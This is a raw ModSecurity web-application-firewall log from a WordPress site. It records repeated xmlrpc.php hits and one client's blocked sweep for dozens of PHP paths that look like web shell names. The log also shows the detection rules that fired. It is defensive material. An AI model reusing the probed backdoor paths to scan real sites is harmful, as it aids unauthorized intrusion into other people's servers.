[Sat Apr 11 13:14:11.696163 2026] [:error] [pid 11067:tid 11086] [client 78.142.140.182:42256] [client 78.142.140.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.142.140.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnYo8W3w7N67R04YCJr6AAAAFE"]
[Sat Apr 11 13:15:09.053733 2026] [:error] [pid 2188:tid 2269] [client 52.206.118.176:38054] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnY3YDhDA-Xtn2nRSf3GAAAAM0"]
[Sat Apr 11 13:20:31.258881 2026] [:error] [pid 2188:tid 2260] [client 152.42.226.162:59472] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnaH4DhDA-Xtn2nRSf5VwAAAMQ"]
[Sat Apr 11 13:23:38.303660 2026] [:error] [pid 2187:tid 2241] [client 109.74.14.122:50564] [client 109.74.14.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.74.14.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adna2g4J29_qQi0Fkjh7RwAAAA0"]
[Sat Apr 11 13:30:47.239875 2026] [:error] [pid 2297:tid 2309] [client 43.133.14.237:36018] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adnch7XJS-Jji11jZk3IXgAAAQg"]
[Sat Apr 11 13:31:27.375343 2026] [:error] [pid 11067:tid 11082] [client 137.184.230.10:43008] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.230.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adncr8W3w7N67R04YCJ3qwAAAE0"]
[Sat Apr 11 13:32:19.780113 2026] [:error] [pid 2186:tid 2199] [client 23.239.25.95:53526] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnc48ibnOEEvcO8wPL0swAAAIk"]
[Sat Apr 11 13:33:51.039465 2026] [:error] [pid 2297:tid 2323] [client 178.254.50.20:50824] [client 178.254.50.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.254.50.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adndP7XJS-Jji11jZk3JawAAARY"]
[Sat Apr 11 13:39:52.392926 2026] [:error] [pid 11067:tid 11080] [client 196.27.114.137:46444] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adneqMW3w7N67R04YCJ8vAAAAEs"]
[Sat Apr 11 13:42:38.355244 2026] [:error] [pid 2187:tid 2234] [client 103.27.206.168:41524] [client 103.27.206.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.27.206.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnfTg4J29_qQi0FkjiBAAAAAAY"]
[Sat Apr 11 13:47:42.647472 2026] [:error] [pid 11067:tid 11089] [client 51.210.113.223:52772] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adngfsW3w7N67R04YCKBRQAAAFQ"]
[Sat Apr 11 13:55:59.807843 2026] [:error] [pid 2187:tid 2231] [client 104.37.191.206:51308] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnibw4J29_qQi0FkjiEiwAAAAM"]
[Sat Apr 11 14:01:15.448137 2026] [:error] [pid 11067:tid 11086] [client 113.161.54.245:60884] [client 113.161.54.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.161.54.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnjq8W3w7N67R04YCKJSQAAAFE"]
[Sat Apr 11 14:11:42.069031 2026] [:error] [pid 11067:tid 11078] [client 157.15.40.61:57022] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "adnmHsW3w7N67R04YCKRWQAAAEk"]
[Sat Apr 11 14:11:42.347703 2026] [:error] [pid 11067:tid 11086] [client 157.15.40.61:57247] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/style.php"] [unique_id "adnmHsW3w7N67R04YCKRjAAAAFE"]
[Sat Apr 11 14:11:43.635851 2026] [:error] [pid 2297:tid 2325] [client 157.15.40.61:57317] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/style.php"] [unique_id "adnmH7XJS-Jji11jZk3Z_gAAARg"]
[Sat Apr 11 14:11:53.921171 2026] [:error] [pid 11067:tid 11078] [client 157.15.40.61:59242] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/style.php"] [unique_id "adnmKcW3w7N67R04YCKTxAAAAEk"]
[Sat Apr 11 14:11:54.169806 2026] [:error] [pid 11067:tid 11084] [client 157.15.40.61:59468] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style.php"] [unique_id "adnmKsW3w7N67R04YCKT3AAAAE8"]
[Sat Apr 11 14:11:55.247931 2026] [:error] [pid 11067:tid 11086] [client 157.15.40.61:59660] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adnmK8W3w7N67R04YCKUPAAAAFE"]
[Sat Apr 11 14:11:55.503308 2026] [:error] [pid 2187:tid 2245] [client 157.15.40.61:59721] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "adnmKw4J29_qQi0FkjiJQQAAABE"]
[Sat Apr 11 14:11:57.792463 2026] [:error] [pid 2186:tid 2195] [client 157.15.40.61:60047] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "adnmLcibnOEEvcO8wPL-9QAAAIU"]
[Sat Apr 11 14:11:58.049899 2026] [:error] [pid 2188:tid 2280] [client 157.15.40.61:60355] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "adnmLoDhDA-Xtn2nRScLvQAAANg"]
[Sat Apr 11 14:11:58.315431 2026] [:error] [pid 11067:tid 11075] [client 157.15.40.61:60438] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adnmLsW3w7N67R04YCKVmgAAAEY"]
[Sat Apr 11 14:11:58.587321 2026] [:error] [pid 11067:tid 11072] [client 157.15.40.61:60516] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "adnmLsW3w7N67R04YCKVygAAAEM"]
[Sat Apr 11 14:12:01.709481 2026] [:error] [pid 2186:tid 2193] [client 157.15.40.61:60969] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/blurbs.php"] [unique_id "adnmMcibnOEEvcO8wPL_QgAAAIM"]
[Sat Apr 11 14:12:16.172675 2026] [:error] [pid 2188:tid 2273] [client 157.15.40.61:50416] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "adnmQIDhDA-Xtn2nRScMtwAAANE"]
[Sat Apr 11 14:12:17.815821 2026] [:error] [pid 2297:tid 2308] [client 157.15.40.61:51299] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adnmQbXJS-Jji11jZk3dSQAAAQc"]
[Sat Apr 11 14:12:18.079795 2026] [:error] [pid 11067:tid 11090] [client 157.15.40.61:51465] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "adnmQsW3w7N67R04YCKXugAAAFU"]
[Sat Apr 11 14:12:19.349117 2026] [:error] [pid 11067:tid 11076] [client 157.15.40.61:51529] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "adnmQ8W3w7N67R04YCKXxQAAAEc"]
[Sat Apr 11 14:12:19.623967 2026] [:error] [pid 2297:tid 2312] [client 157.15.40.61:51659] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dex.php"] [unique_id "adnmQ7XJS-Jji11jZk3dZQAAAQs"]
[Sat Apr 11 14:12:25.959736 2026] [:error] [pid 2188:tid 2280] [client 157.15.40.61:51830] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adnmSYDhDA-Xtn2nRScM6AAAANg"]
[Sat Apr 11 14:12:26.227106 2026] [:error] [pid 2188:tid 2272] [client 157.15.40.61:52421] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "adnmSoDhDA-Xtn2nRScM6wAAANA"]
[Sat Apr 11 14:12:26.490296 2026] [:error] [pid 2188:tid 2279] [client 157.15.40.61:52463] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "adnmSoDhDA-Xtn2nRScM7gAAANc"]
[Sat Apr 11 14:12:28.608570 2026] [:error] [pid 2187:tid 2231] [client 157.15.40.61:52696] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/zwso.php"] [unique_id "adnmTA4J29_qQi0FkjiKpQAAAAM"]
[Sat Apr 11 14:12:28.868679 2026] [:error] [pid 11067:tid 11092] [client 157.15.40.61:52725] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "adnmTMW3w7N67R04YCKYTwAAAFc"]
[Sat Apr 11 14:12:31.102496 2026] [:error] [pid 2297:tid 2323] [client 157.15.40.61:53021] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "adnmT7XJS-Jji11jZk3dyAAAARY"]
[Sat Apr 11 14:12:33.040176 2026] [:error] [pid 2188:tid 2276] [client 157.15.40.61:53288] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "adnmUYDhDA-Xtn2nRScNFAAAANQ"]
[Sat Apr 11 14:12:34.315676 2026] [:error] [pid 2187:tid 2232] [client 157.15.40.61:53343] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "adnmUg4J29_qQi0FkjiKzwAAAAQ"]
[Sat Apr 11 14:12:36.968411 2026] [:error] [pid 11067:tid 11084] [client 157.15.40.61:53543] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "adnmVMW3w7N67R04YCKYtQAAAE8"]
[Sat Apr 11 14:12:38.760186 2026] [:error] [pid 2187:tid 2252] [client 157.15.40.61:54028] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "adnmVg4J29_qQi0FkjiK8wAAABg"]
[Sat Apr 11 14:12:40.416381 2026] [:error] [pid 11067:tid 11085] [client 157.15.40.61:54238] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/lufix1.php"] [unique_id "adnmWMW3w7N67R04YCKYvwAAAFA"]
[Sat Apr 11 14:12:48.267645 2026] [:error] [pid 11067:tid 11081] [client 157.15.40.61:54455] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/witmm.php"] [unique_id "adnmYMW3w7N67R04YCKY_QAAAEw"]
[Sat Apr 11 14:12:51.578438 2026] [:error] [pid 2186:tid 2206] [client 157.15.40.61:55538] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "adnmY8ibnOEEvcO8wPIAOwAAAJA"]
[Sat Apr 11 14:12:52.848470 2026] [:error] [pid 2188:tid 2275] [client 157.15.40.61:55773] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "adnmZIDhDA-Xtn2nRScNZQAAANM"]
[Sat Apr 11 14:16:54.834499 2026] [:error] [pid 2187:tid 2240] [client 66.179.191.163:43650] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnnVg4J29_qQi0FkjiMFAAAAAw"]
[Sat Apr 11 14:18:55.382230 2026] [:error] [pid 2297:tid 2324] [client 178.18.249.91:55394] [client 178.18.249.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.249.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnnz7XJS-Jji11jZk3hFgAAARc"]
[Sat Apr 11 14:24:23.170009 2026] [:error] [pid 11067:tid 11071] [client 211.169.178.4:54333] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnpF8W3w7N67R04YCKiYAAAAEI"]
[Sat Apr 11 14:29:42.789954 2026] [:error] [pid 11067:tid 11088] [client 107.180.252.236:52216] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnqVsW3w7N67R04YCKnCAAAAFM"]
[Sat Apr 11 14:30:06.487536 2026] [:error] [pid 2188:tid 2269] [client 66.179.191.163:40458] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnqboDhDA-Xtn2nRScURwAAAM0"]
[Sat Apr 11 14:36:35.835836 2026] [:error] [pid 2297:tid 2308] [client 190.121.23.218:52936] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnr87XJS-Jji11jZk3rtwAAAQc"]
[Sat Apr 11 14:37:16.005022 2026] [:error] [pid 11067:tid 11078] [client 217.182.169.225:35874] [client 217.182.169.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.169.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnsHMW3w7N67R04YCKswgAAAEk"]
[Sat Apr 11 14:40:16.540744 2026] [:error] [pid 2186:tid 2198] [client 165.22.37.239:39546] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adns0MibnOEEvcO8wPII8QAAAIg"]
[Sat Apr 11 14:46:48.879116 2026] [:error] [pid 2188:tid 2264] [client 128.140.11.209:55578] [client 128.140.11.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.140.11.209, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnuWIDhDA-Xtn2nRScaOgAAAMg"]
[Sat Apr 11 15:02:46.064031 2026] [:error] [pid 2297:tid 2319] [client 188.166.14.36:54818] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnyFrXJS-Jji11jZk32QwAAARI"]
[Sat Apr 11 15:08:13.772469 2026] [:error] [pid 2297:tid 2301] [client 185.225.22.51:47732] [client 185.225.22.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adnzXbXJS-Jji11jZk34wgAAAQA"]
[Sat Apr 11 15:11:43.492380 2026] [:error] [pid 2297:tid 2310] [client 147.135.255.201:40546] [client 147.135.255.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.135.255.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adn0L7XJS-Jji11jZk36tQAAAQk"]
